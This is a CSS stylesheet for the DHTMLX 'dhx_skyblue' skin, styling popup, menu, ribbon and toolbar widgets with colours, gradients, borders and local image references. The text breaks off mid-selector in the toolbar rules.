div.dhxcarousel_cont {\n  background-color: #efefef;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_area.dhx_popup_area_ie {\n  box-shadow: 0 0 6px #ccc;\n  /* IE6 hover */\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_area.dhx_popup_area_ie tr.dhxnode td.dhx_popup_td {\n  height: 1em;\n  line-height: 1em;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_area.dhx_popup_area_ie td.dhx_popup_td.dhx_popup_td_single {\n  padding-left: 16px;\n  padding-right: 16px;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_area.dhx_popup_area_ie td.dhx_popup_td.dhx_popup_td_first {\n  padding-left: 16px;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_area.dhx_popup_area_ie td.dhx_popup_td.dhx_popup_td_last {\n  padding-right: 16px;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_area.dhx_popup_area_ie tr.tr_hover td.dhx_popup_td {\n  background-color: #bdd6ef;\n  border-top: 1px solid #95cce4;\n  border-bottom: 1px solid #95cce4;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_arrow {\n  position: absolute;\n  background-repeat: no-repeat;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_arrow.dhx_popup_arrow_bottom {\n  width: 19px;\n  height: 16px;\n  background-image: url(\"imgs/dhxpopup_skyblue/dhxpopup_arrow_bottom.gif\");\n  background-position: top center;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_arrow.dhx_popup_arrow_top {\n  width: 19px;\n  height: 16px;\n  background-image: url(\"imgs/dhxpopup_skyblue/dhxpopup_arrow_top.gif\");\n  background-position: bottom center;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_arrow.dhx_popup_arrow_right {\n  width: 16px;\n  height: 19px;\n  background-image: url(\"imgs/dhxpopup_skyblue/dhxpopup_arrow_right.gif\");\n  background-position: center left;\n}\ndiv.dhx_popup_dhx_skyblue div.dhx_popup_arrow.dhx_popup_arrow_left {\n  width: 16px;\n  height: 19px;\n  background-image: url(\"imgs/dhxpopup_skyblue/dhxpopup_arrow_left.gif\");\n  background-position: center right;\n}\n/* skin detect */\ndiv.dhx_popup_skin_detect {\n  position: absolute;\n  left: 0px;\n  top: -100px;\n  margin: 0;\n  padding: 0;\n  border: 0px solid white;\n  width: 10px;\n  height: 10px;\n  overflow: hidden;\n}\n.dhxmenu_skin_detect {\n  position: absolute;\n  left: 0px;\n  top: -100px;\n  margin: 0;\n  padding: 0;\n  border: 0px solid white;\n  width: 10px;\n  /* 10 for skyblue */\n  height: 10px;\n  overflow: hidden;\n}\n.dhtmlxMenu_dhx_skyblue_Middle {\n  position: relative;\n  height: 30px;\n  border: none;\n  overflow: hidden;\n  background-color: #ebebeb;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhtmlxMenu_dhx_skyblue_Middle div.top_sep {\n  float: left;\n  position: relative;\n  height: 22px;\n  width: 0px;\n  border-left: 1px solid #dddddd;\n  margin: 4px 2px 0px 0px;\n  line-height: 1px;\n  font-size: 1px;\n  overflow: hidden;\n  cursor: default;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhtmlxMenu_dhx_skyblue_Middle img.dhtmlxMenu_TopLevel_Item_Icon {\n  float: left;\n  margin: 2px 3px 0px 3px;\n  width: 18px;\n  height: 18px;\n}\n.dhtmlxMenu_dhx_skyblue_Middle div.dhtmlxMenu_TopLevel_Text_right {\n  position: absolute;\n  top: 8px;\n  left: none;\n  right: 8px;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n  cursor: default;\n}\n.dhtmlxMenu_dhx_skyblue_Middle div.dhtmlxMenu_TopLevel_Text_left {\n  position: absolute;\n  top: 8px;\n  right: none;\n  left: 8px;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n  cursor: default;\n}\n.dhtmlxMenu_dhx_skyblue_Middle.dir_left div.align_left {\n  float: left;\n}\n.dhtmlxMenu_dhx_skyblue_Middle.dir_left div.align_right {\n  float: right;\n}\ndiv.dhtmlxMenu_dhx_skyblue_TopLevel_Item_Normal,\ndiv.dhtmlxMenu_dhx_skyblue_TopLevel_Item_Disabled,\ndiv.dhtmlxMenu_dhx_skyblue_TopLevel_Item_Selected {\n  position: relative;\n  float: left;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n  cursor: default;\n  white-space: nowrap;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  height: 22px;\n  line-height: 22px;\n  vertical-align: middle;\n  margin: 3px 2px 0px 0px;\n  padding: 0px 3px;\n}\ndiv.dhtmlxMenu_dhx_skyblue_TopLevel_Item_Normal div.top_level_text,\ndiv.dhtmlxMenu_dhx_skyblue_TopLevel_Item_Disabled div.top_level_text,\ndiv.dhtmlxMenu_dhx_skyblue_TopLevel_Item_Selected div.top_level_text {\n  float: left;\n  margin: 0px 3px;\n}\ndiv.dhtmlxMenu_dhx_skyblue_TopLevel_Item_Normal,\ndiv.dhtmlxMenu_dhx_skyblue_TopLevel_Item_Disabled {\n  border: 1px solid #ebebeb;\n}\ndiv.dhtmlxMenu_dhx_skyblue_TopLevel_Item_Disabled {\n  color: #999999 !important;\n}\ndiv.dhtmlxMenu_dhx_skyblue_TopLevel_Item_Selected {\n  border: 1px solid #b6d5ff;\n  background-color: #b6d5ff;\n  color: #000000;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon {\n  position: absolute;\n  border: 1px solid #c3c3c3;\n  /*box-shadow: 0 0 3px #ccc;*/\n  box-shadow: 0px 10px 50px -10px #000;\n  padding: 3px 0px;\n  border-bottom-left-radius: 2px;\n  border-bottom-right-radius: 2px;\n  border-top-right-radius: 2px;\n  /*background-color: #efefef;*/\n  background-color: rgba(239, 239, 239, 0.95);\n  overflow: hidden;\n  cursor: default;\n  line-height: normal;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl td {\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n  line-height: normal;\n  padding: 0px 3px;\n  border-top: 1px solid #efefef;\n  border-bottom: 1px solid #efefef;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl tr.sub_item_selected td {\n  background-color: #b6d5ff;\n  border-top: 1px solid #b6d5ff;\n  border-bottom: 1px solid #b6d5ff;\n  color: #000000;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl tr.sub_item_selected div.sub_item_hk {\n  color: #333333 !important;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl td.sub_item_icon {\n  width: 18px;\n  text-align: center;\n  vertical-align: middle;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl td.sub_item_icon img.sub_icon {\n  float: left;\n  margin: 0px;\n  width: 18px;\n  height: 18px;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl div.sub_item_text {\n  padding: 0px 12px 0px 1px;\n  height: 22px;\n  line-height: 21px;\n  white-space: nowrap;\n  text-align: left;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl tr.sub_item_dis div.sub_item_text {\n  color: #999999 !important;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl td.sub_item_hk {\n  padding-left: 8px;\n  padding-right: 8px;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl td.sub_item_hk div.sub_item_hk {\n  font-family: Tahoma;\n  font-size: 11px;\n  color: #4d4d4d;\n  text-align: right;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl tr.sub_item_dis td.sub_item_hk div.sub_item_hk {\n  color: #9b9b9b !important;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl div.complex_arrow {\n  width: 4px;\n  margin: 0px 2px 0px 5px;\n  height: 22px;\n  background-image: url(\"imgs/dhxmenu_skyblue/dhxmenu_subar.gif\");\n  background-repeat: no-repeat;\n  background-position: 0px 0px;\n  overflow: hidden;\n  font-size: 1px;\n  float: right;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl tr.sub_item_selected div.complex_arrow {\n  background-position: -4px 0px !important;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl tr.sub_item_dis div.complex_arrow {\n  background-position: -8px 0px !important;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl div.complex_arrow_loading {\n  width: 11px;\n  height: 22px;\n  background-position: center center;\n  background-repeat: no-repeat;\n  background-image: url(\"imgs/dhxmenu_skyblue/dhxmenu_loader.gif\");\n  float: right;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl div.sub_icon {\n  float: left;\n  margin: 0px;\n  width: 18px;\n  height: 18px;\n  background-position: top right;\n  background-repeat: no-repeat;\n  background-image: url(\"imgs/dhxmenu_skyblue/dhxmenu_chrd.gif\");\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl div.sub_icon.chbx_0 {\n  background-position: 0px 0px !important;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl div.sub_icon.chbx_1 {\n  background-position: -18px 0px !important;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl tr.sub_item_dis div.sub_icon.chbx_0 {\n  background-position: -36px 0px !important;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl tr.sub_item_dis div.sub_icon.chbx_1 {\n  background-position: -54px 0px !important;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl div.sub_icon.rdbt_0 {\n  background-position: -72px 0px !important;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl div.sub_icon.rdbt_1 {\n  background-position: -90px 0px !important;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl tr.sub_item_dis div.sub_icon.rdbt_0 {\n  background-position: -108px 0px !important;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl tr.sub_item_dis div.sub_icon.rdbt_1 {\n  background-position: -126px 0px !important;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon tr.sub_sep td {\n  padding: 2px 0px;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon div.sub_sep {\n  position: static;\n  font-size: 1px;\n  line-height: 1px;\n  height: 1px;\n  width: 100%;\n  border-top: 1px solid #c3c3c3;\n}\niframe.dhtmlxMenu_IE6CoverFix_dhx_skyblue {\n  position: absolute;\n  border: none;\n  background: #000000;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_ArrowUp,\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_ArrowUp_Over,\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_ArrowUp_Disabled {\n  position: relative;\n  font-size: 1px;\n  border-bottom: 1px solid #c3c3c3;\n  background-image: url(\"imgs/dhxmenu_skyblue/dhxmenu_arrow_up.gif\");\n  background-repeat: no-repeat;\n  background-position: center center;\n  padding: 8px 0px;\n  margin-bottom: 3px;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_ArrowUp_Disabled {\n  background-image: url(\"imgs/dhxmenu_skyblue/dhxmenu_arrow_up_dis.gif\");\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_ArrowDown,\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_ArrowDown_Over,\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_ArrowDown_Disabled {\n  position: relative;\n  font-size: 1px;\n  border-top: 1px solid #c3c3c3;\n  background-image: url(\"imgs/dhxmenu_skyblue/dhxmenu_arrow_down.gif\");\n  background-repeat: no-repeat;\n  background-position: center center;\n  padding: 8px 0px;\n  margin-top: 3px;\n}\ndiv.dhtmlxMenu_dhx_skyblue_SubLevelArea_ArrowDown_Disabled {\n  background-image: url(\"imgs/dhxmenu_skyblue/dhxmenu_arrow_down_dis.gif\");\n}\n.dhtmlxribbon_skin_detect {\n  position: absolute;\n  left: 0px;\n  top: -100px;\n  margin: 0;\n  padding: 0;\n  border: 0px solid white;\n  width: 10px;\n  /* 10 for skyblue */\n  height: 10px;\n  overflow: hidden;\n}\n.dhtmlxribbon_dhx_skyblue.dhxrb_without_tabbar {\n  background-color: #ffffff;\n  border: 1px solid #c3c3c3;\n}\n.dhtmlxribbon_dhx_skyblue {\n  overflow: hidden;\n  width: 100%;\n  background-color: #efefef;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_background_area {\n  height: 115px;\n  background-color: #efefef;\n  margin: 1px;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_with_tabbar {\n  height: 145px;\n}\n.dhtmlxribbon_dhx_skyblue div.dhx_cell_tabbar {\n  background-color: #efefef !important;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_g_area {\n  height: 115px;\n  float: left;\n  clear: left;\n  overflow: hidden;\n  position: relative;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_block_base {\n  margin: 3px;\n  float: left;\n  border: 1px solid #c3c3c3;\n  background-color: #eaeaea;\n  border-radius: 2px;\n  height: 106px;\n  overflow: hidden;\n  position: relative;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_block_base .dhxrb_block_items {\n  height: 84px;\n  float: left;\n  padding: 2px 0px;\n  overflow: hidden;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_block_base > .dhxrb_block_label {\n  height: 18px;\n  line-height: 17px;\n  *height: auto;\n  *line-height: 1em;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_block_base .dhxrb_block_label {\n  text-align: center;\n  clear: left;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #898989;\n  background-color: #e5e5e5;\n  *padding: 1px 3px 4px;\n  *font-size: 11px;\n  *font-family: Tahoma, FreeSans;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_big_button {\n  margin: 0pc 2px 5px;\n  float: left;\n  text-align: center;\n  padding: 4px 6px;\n  height: 72px;\n  border-radius: 2px;\n  border: 1px solid #eaeaea;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n  background-color: #eaeaea;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_big_button .dhxrb_image {\n  width: 48px;\n  height: 48px;\n  border: none;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_big_button .dhxrb_label_button {\n  margin: 0px auto;\n  cursor: default;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n  line-height: 10px;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_big_button .dhxrb_invisible {\n  visibility: hidden;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_3rows_block {\n  float: left;\n  margin: 0px 2px 5px;\n  position: relative;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_3rows_block .dhxrb_invisible {\n  display: none;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_3rows_button {\n  height: 21px;\n  margin: 1px 3px;\n  float: left;\n  clear: left;\n  padding: 3px 4px 0px 4px;\n  border-radius: 2px;\n  border: 1px solid #eaeaea;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n  background-color: #eaeaea;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_in_row {\n  height: 20px;\n  margin: 1px 3px;\n  float: left;\n  padding: 3px 4px 1px;\n  white-space: nowrap;\n  overflow: hidden;\n  border-radius: 2px;\n  border: 1px solid #eaeaea;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n  background-color: #eaeaea;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_group .dhxrb_buttoncombo_cont {\n  height: 22px;\n  padding: 0px 2px !important;\n  overflow: hidden;\n  white-space: nowrap;\n  float: left;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_buttoncombo_cont {\n  height: 24px;\n  padding: 1px 2px !important;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_buttoncombo {\n  float: left;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_in_row .dhxrb_slider,\n.dhtmlxribbon_dhx_skyblue .dhxrb_3rows_button .dhxrb_slider {\n  float: left;\n  margin-right: 5px;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_in_row center,\n.dhtmlxribbon_dhx_skyblue .dhxrb_in_group center,\n.dhtmlxribbon_dhx_skyblue .dhxrb_3rows_button center {\n  float: left;\n  margin: 0px;\n  padding: 0px;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_in_group .dhxrb_slider {\n  float: left;\n  margin-right: 5px;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_big_button .dhxrb_slider {\n  width: 16px;\n  margin: 2px 0px;\n  height: 50px;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_in_group {\n  height: 19px;\n  float: left;\n  padding: 2px 4px 1px;\n  border: 1px solid #ffffff;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_input {\n  float: left;\n  border: 1px solid #c3c3c3;\n  height: 14px;\n  width: 80px;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n  padding: 1px 2px;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_input:disabled {\n  border: 1px solid #cccccc;\n  background-color: #fafafa;\n  color: #b2b2b2;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_3rows_button .dhxrb_image,\n.dhtmlxribbon_dhx_skyblue .dhxrb_in_row .dhxrb_image,\n.dhtmlxribbon_dhx_skyblue .dhxrb_in_group .dhxrb_image {\n  width: 18px;\n  height: 18px;\n  float: left;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_3rows_button .dhxrb_label_button,\n.dhtmlxribbon_dhx_skyblue .dhxrb_in_row .dhxrb_label_button,\n.dhtmlxribbon_dhx_skyblue .dhxrb_in_group .dhxrb_label_button {\n  float: left;\n  cursor: default;\n  margin: 2px 4px 2px 6px;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_buttoncombo_cont .dhxrb_label_button {\n  float: left;\n  margin-left: 3px;\n  height: 18px;\n  line-height: 18px;\n  cursor: default;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_label_checkbox {\n  float: left;\n  margin: 2px 4px;\n  cursor: default;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_disable_text_style,\n.dhtmlxribbon_dhx_skyblue .dhxrb_item_disable .dhxrb_label_checkbox {\n  color: #999999 !important;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_highlight0 {\n  border: 1px solid #c3c3c3;\n  background-color: #f4f4f4;\n  background: linear-gradient(#f4f4f4, #ececec);\n  background: -webkit-linear-gradient(#f4f4f4, #ececec);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#f4f4f4, endColorStr=#ececec) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_highlight1 {\n  border: 1px solid #c3c3c3;\n  background-color: #e6e6e6;\n  background: linear-gradient(#e6e6e6, #e5e5e5);\n  background: -webkit-linear-gradient(#e6e6e6, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#e6e6e6, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  box-shadow: 0 0 3px #c3c0bc inset;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_group .dhxrb_highlight0 {\n  border: 1px solid #e5ebef;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_group .dhxrb_highlight1 {\n  background-color: #e6e6e6;\n  background: linear-gradient(#e6e6e6, #e5e5e5);\n  background: -webkit-linear-gradient(#e6e6e6, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#e6e6e6, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  box-shadow: 0 0 3px #c3c0bc inset;\n  border: 0px;\n  padding: 3px 5px 2px 5px;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_item_hide {\n  display: none !important;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_block_rows {\n  float: left;\n  position: relative;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_block_row {\n  float: left;\n  clear: left;\n  margin: 0px 2px;\n  height: 28px;\n  overflow: hidden;\n  position: relative;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_arrow {\n  padding: 0px 5px;\n  margin-left: 2px;\n  background: url(\"imgs/dhxribbon_skyblue/dhxribbon_arrow.gif\") no-repeat 50%;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_3rows_block .dhxrb_group {\n  border: 1px solid #c3c3c3;\n  background: #efefef;\n  height: 24px;\n  border-radius: 2px;\n  float: left;\n  clear: left;\n  margin: 1px 3px;\n  overflow: hidden;\n  position: relative;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_block_row .dhxrb_group {\n  border: 1px solid #c3c3c3;\n  background: #efefef;\n  height: 24px;\n  border-radius: 2px;\n  float: left;\n  margin: 1px 3px;\n  overflow: hidden;\n  position: relative;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_in_group .dhxrb_label_hide {\n  display: none;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_separator_groupp {\n  height: 24px;\n  width: 0;\n  border-left: 1px solid #ccdcef;\n  overflow: hidden;\n  float: left;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_checked.dhxrb_item_disable > .dhxrb_checkbox {\n  background-image: url(\"imgs/dhxribbon_skyblue/dhxribbon_checked_dis.gif\");\n  background-repeat: no-repeat;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_checked .dhxrb_checkbox {\n  background-image: url(\"imgs/dhxribbon_skyblue/dhxribbon_checked.gif\");\n  background-repeat: no-repeat;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_item_disable .dhxrb_checkbox {\n  border: 1px solid #aaaaaa;\n  background-color: #eeeeee;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_checkbox {\n  border: 1px solid #c3c3c3;\n  background-color: #ffffff;\n  float: left;\n  width: 12px;\n  height: 12px;\n  margin-top: 2px;\n  overflow: hidden;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_item_text {\n  font-family: Tahoma;\n  font-size: 13px;\n  color: #2d6278;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_in_group .dhxrb_item_text {\n  height: 19px;\n  line-height: 18px;\n  *float: left;\n  *clear: left;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_3rows_button .dhxrb_item_text,\n.dhtmlxribbon_dhx_skyblue .dhxrb_in_row .dhxrb_item_text {\n  font-family: Tahoma;\n  font-size: 14px;\n  color: #2d6278;\n}\n.dhtmlxribbon_dhx_skyblue .dhxrb_big_button .dhxrb_item_text {\n  font-family: Tahoma;\n  font-size: 30px;\n  color: #2d6278;\n  line-height: 72px;\n  height: 72px;\n  float: left;\n  clear: left;\n}\n.dhxtoolbar_skin_detect {\n  position: absolute;\n  left: 0px;\n  top: -100px;\n  margin: 0;\n  padding: 0;\n  border: 0px solid white;\n  width: 10px;\n  height: 10px;\n  overflow: hidden;\n}\n.dhx_toolbar_dhx_skyblue {\n  border: 1px solid #c3c3c3;\n  background-color: #ececec;\n  background: linear-gradient(#ececec, #e5e5e5);\n  background: -webkit-linear-gradient(#ececec, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#ececec, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  position: relative;\n  padding: 0px 5px;\n  height: 30px;\n  line-height: normal;\n  cursor: default;\n  overflow: hidden;\n  /* font */\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n}\n.dhx_toolbar_dhx_skyblue div.dhxtoolbar_float_left {\n  float: left;\n}\n.dhx_toolbar_dhx_skyblue div.dhxtoolbar_float_right {\n  float: right;\n}\n.dhx_toolbar_dhx_skyblue div.dhx_toolbar_btn,\n.dhx_toolbar_dhx_skyblue div.dhx_toolbar_arw {\n  position: relative;\n  float: left;\n  margin-top: 2px;\n  padding: 2px 3px;\n  *padding-bottom: 4px;\n  margin-right: 1px;\n  line-height: normal;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  cursor: default;\n  height: 22px;\n  *height: 20px;\n  overflow: hidden;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n}\n.dhx_toolbar_dhx_skyblue div.dhx_toolbar_btn.dhxtoolbar_btn_dis,\n.dhx_toolbar_dhx_skyblue div.dhx_toolbar_arw.dhxtoolbar_btn_dis {\n  color: #999999;\n}\n.dhx_toolbar_dhx_skyblue div.dhx_toolbar_btn.dhxtoolbar_btn_over,\n.dhx_toolbar_dhx_skyblue div.dhx_toolbar_arw.dhxtoolbar_btn_over {\n  border: 1px solid #c3c3c3;\n  border-radius: 2px;\n  padding: 1px 2px;\n  *padding-bottom: 3px;\n  background-color: #f4f4f4;\n  background: linear-gradient(#f4f4f4, #ececec);\n  background: -webkit-linear-gradient(#f4f4f4, #ececec);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#f4f4f4, endColorStr=#ececec) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n}\n.dhx_toolbar_dhx_skyblue div.dhx_toolbar_btn.dhxtoolbar_btn_pres,\n.dhx_toolbar_dhx_skyblue div.dhx_toolbar_arw.dhxtoolbar_btn_pres {\n  border: 1px solid #c3c3c3;\n  border-radius: 2px;\n  padding: 1px 2px;\n  *padding-bottom: 3px;\n  background-color: #e6e6e6;\n  background: linear-gradient(#e6e6e6, #e5e5e5);\n  background: -webkit-linear-gradient(#e6e6e6, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#e6e6e6, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  box-shadow: 0 0 5px rgba(127, 127, 127, 0.15) inset;\n}\n.dhx_toolbar_dhx_skyblue div.dhx_toolbar_btn.dhxtoolbar_btn_pres_dis {\n  color: #999999;\n  border: 1px solid #c9c9c9;\n  border-radius: 2px;\n  padding: 1px 2px;\n  *padding-bottom: 3px;\n  background-color: #e6e6e6;\n  background: linear-gradient(#e6e6e6, #e5e5e5);\n  background: -webkit-linear-gradient(#e6e6e6, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#e6e6e6, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  box-shadow: 0 0 5px rgba(127, 127, 127, 0.15) inset;\n}\n.dhx_toolbar_dhx_skyblue div.dhx_toolbar_btn img {\n  float: left;\n  margin: 2px;\n  width: 18px;\n  height: 18px;\n  cursor: default;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhx_toolbar_dhx_skyblue 